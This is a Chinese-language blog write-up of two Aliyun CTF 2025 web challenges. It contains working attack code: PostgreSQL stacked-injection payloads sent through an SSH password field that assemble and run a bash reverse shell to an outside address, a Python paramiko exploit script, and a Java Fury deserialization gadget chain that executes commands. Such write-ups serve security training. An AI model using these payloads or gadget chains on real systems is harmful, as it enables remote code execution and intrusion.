Aliyun CTF 2025 - Web Review

一年一度的阿里云 CTF,想吐槽一下 FakeJumpServer 这题,给了 Hint 还是做不出来,最后才发现考的是一个简单的 Postgresql 堆叠注入,只不过注入点在 SSH 这里😅

Nu1L 还没关环境,现在可以去做做题目

FakeJumpServer

直接 ssh 连接,然后看看版本,会发现是一个 FakeJumpServer,主办方的意思是这题是魔改的 SSH,需要结合 Realworld 思路,搞半天是道渗透题,那没事了。

image-20250226111058083

本题相关文章:https://developer.aliyun.com/article/1161775

相关 Payload

1
';/**/update/**/t_user/**/set/**/password='***'/**/where/**/name='sysadmin'--/**/

一般 pgSQL 执行命令如下,就不说明了,很简单

1
2
3
4
DROP TABLE IF EXISTS exec;
CREATE TABLE exec(op text);
COPY exec FROM PROGRAM 'id';
SELECT * FROM exec;

所以我们先判断下是否有延时注入,注入点在 password

1
-1';select pg_sleep(5);--

这里卡了五秒说明是有注入的

image-20250226112317863

然后就是正常的写 Shell,反弹 Shel;

1
2
3
4
5
6
7
8
9
10
11
12
-1';select pg_sleep(5);--
-1';CREATE TABLE exec(op text);--
-1';COPY exec FROM PROGRAM 'echo -n "/bin/ba" > /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'echo -n "sh -i >&" >> /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'echo -n " /dev/tcp" >> /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'echo -n "/111" >> /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'echo -n ".11.1" >> /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'echo -n "11.111" >> /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'echo -n "/111" >> /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'echo -n "11 0>&1" >> /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'chmod +x /tmp/1.sh';--
-1';COPY exec FROM PROGRAM 'bash /tmp/1.sh';--

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# encoding:utf-8
import paramiko
import time

def ssh_login(hostname, port, username, password):
try:
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect(hostname, port, username, password, allow_agent=False, look_for_keys=False)
ssh_client.close()
return True
except Exception as e:
return False

if __name__ == "__main__":
hostname = "114.55.146.242"
port = 22
username = "root"

password = "-1';CREATE TABLE exec(op text);--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'echo -n \"/bin/ba\" > /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'echo -n \"sh -i >&\" >> /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'echo -n \" /dev/tcp\" >> /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'echo -n \"/111\" >> /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'echo -n \".11.1\" >> /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'echo -n \"11.111\" >> /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'echo -n \"/111\" >> /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'echo -n \"11 0>&1\" >> /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'chmod +x /tmp/1.sh';--"
ssh_login(hostname, port, username, password)
password = "-1';COPY exec FROM PROGRAM 'bash /tmp/1.sh';--"
ssh_login(hostname, port, username, password)

您猜怎么着?通了!神了

image-20250226115245984

JTools

这题也是赛后复现的,全场只有三解,来看看吧

查看源码发现是 Fury 框架,比较新,相关漏洞很少很少,这里可以很明显的看见 data 字段做了反序列化处理,所以我们可以找找哪里能触发这个反序列化

image-20250226115600220

这里引入了一个叫做 feilong 的工具库

https://github.com/ifeilong/feilong

一番搜寻发现在 cn.hutool.core.convert.impl.BeanConverter#convertInternal 存在反序列化

image-20250226122245362

仔细查看发现使用了 MapProxy 来创建 Bean 类型的代理,但是并没有验证 Map 的内容是否能完全满足目标类型的要求,同时这里 MapProxy#invoke 的方法会触发 convert

image-20250226122855337

完整 exp,官方的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import cn.hutool.core.map.MapProxy;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.feilong.core.util.comparator.PropertyComparator;
import com.feilong.lib.digester3.ObjectCreationFactory;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.fury.Fury;
import org.apache.fury.config.Language;

import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class exp {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}


public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass evil = pool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"whoami\");";
evil.makeClassInitializer().insertBefore(cmd);
evil.setSuperclass(pool.get("java.lang.Object"));

byte[] _bytecodes = evil.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", _bytecodes);
setFieldValue(templates, "_name", "evil");
TemplatesImpl templates1 = new TemplatesImpl();
setFieldValue(templates1, "_bytecodes", _bytecodes);
setFieldValue(templates1, "_name", "evil1");
String prop = "digester";
PropertyComparator propertyComparator = new PropertyComparator(prop);
Fury fury = Fury.builder().withLanguage(Language.JAVA)
.requireClassRegistration(false)
.build();

Object templatesImpl1 = templates1;
Object templatesImpl = templates;

PropertyComparator propertyComparator1 = new PropertyComparator("outputProperties");

PriorityQueue priorityQueue1 = new PriorityQueue(2, propertyComparator1);
ReflectUtil.setFieldValue(priorityQueue1, "size", "2");
Object[] objectsjdk = {templatesImpl1, templatesImpl};
setFieldValue(priorityQueue1, "queue", objectsjdk);

byte[] data = SerializeUtil.serialize(priorityQueue1);

Map hashmap = new HashMap();
hashmap.put(prop, data);

MapProxy mapProxy = new MapProxy(hashmap);
ObjectCreationFactory test = (ObjectCreationFactory) Proxy.newProxyInstance(ObjectCreationFactory.class.getClassLoader(), new Class[]{ObjectCreationFactory.class}, mapProxy);
ObjectCreationFactory test1 = (ObjectCreationFactory) Proxy.newProxyInstance(ObjectCreationFactory.class.getClassLoader(), new Class[]{ObjectCreationFactory.class}, mapProxy);


PriorityQueue priorityQueue = new PriorityQueue(2, propertyComparator);
ReflectUtil.setFieldValue(priorityQueue, "size", "2");
Object[] objects = {test, test1};
setFieldValue(priorityQueue, "queue", objects);

byte[] serialize = fury.serialize(priorityQueue);
System.out.println(Base64.getEncoder().encodeToString(serialize));

}
}

https://xz.aliyun.com/news/17029

Author

IceCliffs

Posted on

2025-02-26

Updated on

2025-02-26

Licensed under

Comments